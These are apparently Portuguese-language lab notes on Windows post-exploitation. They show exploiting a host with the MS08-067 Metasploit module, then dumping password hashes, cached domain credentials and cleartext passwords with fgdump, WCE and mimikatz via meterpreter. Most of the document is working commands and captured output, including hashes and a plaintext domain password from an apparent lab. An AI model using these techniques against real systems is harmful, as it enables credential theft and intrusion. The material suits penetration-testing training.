

# Obtendo Hashes e Senhas em Cache

+ Dessa vez a exploração do windows foi dada pelo exploit:

```
exploit/windows/smb/ms08_067_netapi
```

+ o kali tem algumas ferramentas interessantes para fazer a busca por hashes e senhas nos caches do windows. Essas ferramentas se encontram no diretório

```
/usr/share/windows-binaries
```

→ No caso, vamos pegar uma ferramenta presente no diretório fgdump chamada fgdump.exe

+ Como estamos explorando o windows com o meterpreter, vamos fazer o upload desse arquivo por meio do seguinte comando

```
upload /usr/share/windows-binaries/fgdump/fgdump.exe
```

+ Quando dermos um **shell** no meterpreter, vamos obter o acesso à shell do windows, de onde vamos executar o arquivo que mandamos, o fgdump.exe

```
C:\>fgdump.exe
```

+ Essa execução irá criar dois arquivos, o 127.0.0.1.cachedump e o 127.0.0.1.pwdump

+ Para abrir um arquivo no Windows, usamos o comando cat, usamos o type:

```
type 127.0.0.1.pwdump
```

```
C:\>type 127.0.0.1.pwdump
type 127.0.0.1.pwdump
Administrador:500:NO PASSWORD*****:AE4B9891EBD7E330DF8BBFE37D5E5E08:::
Administrador_history_0:500:40D336FD46C2C683982622787A57A44E:NO PASSWORD*****:::
Convidado:501:NO PASSWORD*****:NO PASSWORD*****:::
HelpAssistant:1000:53400E6BE3B44A71AE7C89DA5D20C6E3:389B28049BA082C4A57C336976F3F520:::
KEY298700191820:1007:NO PASSWORD*****:A0EF4D1ECD01005830BBA8D65572907D:::
rafaela:1005:NO PASSWORD*****:EE8BA375AC2B804683AB960DAD19581E:::
SUPPORT_388945a0:1002:NO PASSWORD*****:F3BF3796B5B34AA2A964CDFEB48E597D:::
Usuario:1003:NO PASSWORD*****:NO PASSWORD*****:::
```

→ Aqui podemos ver os hashes e usuários (até aq, sem novidades)

+ Se abrirmos o outro arquivo

```
type 127.0.0.1.cachedump
```

```
C:\>type 127.0.0.1.cachedump
type 127.0.0.1.cachedump
Service not found. Installing CacheDump Service ("C:\WINDOWS\system32\config\9
CacheDump service successfully installed.
Service started.
rogerio:6C34D49FC75BAD852133885469B37529!gbusiness:gbusiness.rede
Service successfully removed.
```

→ Veja que ele trouxe outro usuário. Isso acontece justamente pela máquina estar em domínio.

+ Se dermos um **ipconfig /all**

```
C:\>ipconfig /all
ipconfig /all
```

#### Configuração de IP do Windows

```
Nome do host . . . . . : wks01
Sufixo DNS primário. . . . . : gbusiness.rede
Tipo de nó . . . . . : desconhecido
Roteamento de IP ativado . . . . . : não
Proxy WINS ativado . . . . . : não
Lista de pesquisa de sufixo DNS. . : gbusiness.rede
```

#### Adaptador Ethernet REDE GRANDBUS:

```
Sufixo DNS específico de conexão . :
Descrição . . . . . : VMware Accelerated AMD PCNet Adapter
Endereço físico . . . . . : 00-0C-29-FB-AB-27
DHCP ativado. . . . . : Não
Endereço IP . . . . . : 172.16.1.4
Máscara de sub-rede . . . . . : 255.255.255.0
Gateway padrão. . . . . : 172.16.1.1
Servidores DNS. . . . . : 172.16.1.60
                        8.8.8.8
```

- Esse endereço destacado normalmente é o endereço do controlador de domínio
- O nome do domínio no caso seria o gbusiness.rede
- Então, essa máquina é uma estação de trabalho que está conectada a um windows que a controla
- Conclui-se que lá no windows server (no AD) foi criada a conta do rogério
- Então ele sentou nessa sessão de trabalho e logou com a conta dele

+ Agora vamos ver algumas técnicas que nos permitirão quebrar essas senhas

~~~~~

#### WCE

~~~~~

+ Procuraremos o wce no kali com

```
locate wce
```

- + Além de ele trazer os hashes dos caches, ele tbm traz as senhas em textos claros
- + Faremos o upload dessa ferramenta para a raiz do windows

```
upload /usr/share/windows-resources/wce/wce-universal.exe c:
```

+ Para ver quais as opções de uso

```
wce-universal.exe -h
```

- uma das opções de uso é a -w que serve para trazer as senhas em texto claro

```
Parameters: <password>.
-K Dump Kerberos tickets to file
-k Read Kerberos tickets from file
-w Dump cleartext password
-v verbose output.

C:\>wce-universal.exe
wce-universal.exe
WCE v1.41beta (Windows Credentials Editor) - (c
Use -h for help.

rogerio:GBUSINESS:6EEE32CB16EB0A0E25AD3B83FA662
WKS01$:GBUSINESS:00000000000000000000000000000000

C:\>wce-universal.exe -w
wce-universal.exe -w I
WCE v1.41beta (Windows Credentials Editor) - (c
Use -h for help.

Rogerio\GBUSINESS:Roger@10
NETWORK SERVICE\GBUSINESS:8[r+6U47 Jp;>.X7\YWB\
WKS01$\GBUSINESS:8[r+6U47 Jp;>.X7\YWB\ynU3V%uIj

C:\>I
```

~~~~~

### Mimikatz

~~~~~

- + O meterpreter tem módulos que também executam esse tipo de ação
- usaremos o mimikatz. Para carregá-lo,

```
load mimikatz
```

- já vai carregar automaticamente
- Para visualizar as opções de ação, podemos dar um simples [help](#)

```
wdigest
```

## Mimikatz Commands

=====

hash32

Command Description

-----

kerberos Attempt to retrieve kerberos creds.  
 livessp Attempt to retrieve livessp creds.  
 mimikatz\_command Run a custom command.  
 msv Attempt to retrieve msv creds (hashes).  
 ssp Attempt to retrieve ssp creds.  
 tspkg Attempt to retrieve tspkg creds.  
 wdigest Attempt to retrieve wdigest creds.

hash32

meterpreter > wdigest

[+] Running as SYSTEM

[\*] Retrieving wdigest credentials

wdigest credentials

=====

AuthID	Package	Domain	User	Password
-----	-----	-----	----	-----
0;997	Negotiate	AUTORIDADE NT	LOCAL SERVICE	
0;48505	NTLM			
0;996	Negotiate	AUTORIDADE NT	NETWORK SERVICE	8[r+6U47 Jp;>.X7\
0;999	Negotiate	GBUSINESS	WKS01\$	8[r+6U47 Jp;>.X7\
0;141956	Kerberos	GBUSINESS	Rogério	Roger@10

→ Mimikatz tbm tem um comando

```
mimikatz_command
```

```
mimikatz_command -f sekurlsa::wdigest -a full
```

```
meterpreter > mimikatz_command -f sekurlsa::wdigest -a full
"0;141956","Kerberos","Rogério","GBUSINESS","
rogerio,GBUSINESS,Roger@10"
"0;997","Negotiate","LOCAL SERVICE","AUTORIDADE NT",""
"0;996","Negotiate","NETWORK SERVICE","AUTORIDADE NT","
WKS01$,GBUSINESS,8[r+6U47 Jp;>.X7\YWB\ynU3VXuIjLW+7qlW6/kQ/.wTv/ jKcV@
"0;48505","NTLM","","",""
"0;999","Negotiate","WKS01$","GBUSINESS","
WKS01$,GBUSINESS,8[r+6U47 Jp;>.X7\YWB\ynU3VXuIjLW+7qlW6/kQ/.wTv/ jKcV@
```

→ Podemos fazer a busca por senhas tb

```
mimikatz_command -f sekurlsa::logonPasswords
```

ou

```
mimikatz_command -f sekurlsa::searchPasswords
```



```

meterpreter > mimikatz_command -f sekurlsa::wdigest -a full
"0;141956","Kerberos","Rogerio","GBUSINESS","
rogerio,GBUSINESS,Roger@10"
"0;997","Negotiate","LOCAL SERVICE","AUTORIDADE NT",""
"0;996","Negotiate","NETWORK SERVICE","AUTORIDADE NT","
WKS01$,GBUSINESS,8[r+6U47 Jp;>.X7\YWB\ynU3V%uIjLW+7qlW6/kQ/.wTv/ jKcV@X6dLCyMAkuRk0)z0X2jvI&Zn5a4
"0;48505","NTLM","","",""
"0;999","Negotiate","WKS01$","GBUSINESS","
WKS01$,GBUSINESS,8[r+6U47 Jp;>.X7\YWB\ynU3V%uIjLW+7qlW6/kQ/.wTv/ jKcV@X6dLCyMAkuRk0)z0X2jvI&Zn5a4
meterpreter > mimikatz_command -f sekurlsa::searchPasswords
[0] { WKS01$ ; GBUSINESS ; 8[r+6U47 Jp;>.X7\YWB\ynU3V%uIjLW+7qlW6/kQ/.wTv/ jKcV@X6dLCyMAkuRk0)z0X
[1] { WKS01$ ; GBUSINESS ; 8[r+6U47 Jp;>.X7\YWB\ynU3V%uIjLW+7qlW6/kQ/.wTv/ jKcV@X6dLCyMAkuRk0)z0X
[2] { WKS01$ ; GBUSINESS ; 8[r+6U47 Jp;>.X7\YWB\ynU3V%uIjLW+7qlW6/kQ/.wTv/ jKcV@X6dLCyMAkuRk0)z0X
[3] { WKS01$ ; GBUSINESS ; 8[r+6U47 Jp;>.X7\YWB\ynU3V%uIjLW+7qlW6/kQ/.wTv/ jKcV@X6dLCyMAkuRk0)z0X
[4] { WKS01$ ; GBUSINESS ; 8[r+6U47 Jp;>.X7\YWB\ynU3V%uIjLW+7qlW6/kQ/.wTv/ jKcV@X6dLCyMAkuRk0)z0X
[5] { WKS01$ ; GBUSINESS ; 8[r+6U47 Jp;>.X7\YWB\ynU3V%uIjLW+7qlW6/kQ/.wTv/ jKcV@X6dLCyMAkuRk0)z0X
[6] { rogerio ; GBUSINESS ; Roger@10 }
[7] { WKS01$ ; GBUSINESS ; 8[r+6U47 Jp;>.X7\YWB\ynU3V%uIjLW+7qlW6/kQ/.wTv/ jKcV@X6dLCyMAkuRk0)z0X
meterpreter > mimikatz_command -f sekurlsa::logonPasswords
"0;141956","Kerberos","Rogerio","GBUSINESS","lm{ 6eee32cb16eb0a0e25ad3b83fa6627c7 }, ntlm{ 30b60e
"
"
Roger@10"
"0;997","Negotiate","LOCAL SERVICE","AUTORIDADE NT","n.s. (Credentials KO)"
"
"
"
"0;996","Negotiate","NETWORK SERVICE","AUTORIDADE NT","lm{ 00000000000000000000000000000000 }, nt
8[r+6U47 Jp;>.X7\YWB\ynU3V%uIjLW+7qlW6/kQ/.wTv/ jKcV@X6dLCyMAkuRk0)z0X2jvI&Zn5a41%9c=fmKetWx4=G;k
"
8[r+6U47 Jp;>.X7\YWB\ynU3V%uIjLW+7qlW6/kQ/.wTv/ jKcV@X6dLCyMAkuRk0)z0X2jvI&Zn5a41%9c=fmKetWx4=G;k
"0;48505","NTLM","","","lm{ 00000000000000000000000000000000 }, ntlm{ 9f83ddca7a602c1c0f5a42e86e3
"
"
"
"0;999","Negotiate","WKS01$","GBUSINESS","n.s. (Credentials KO)"

```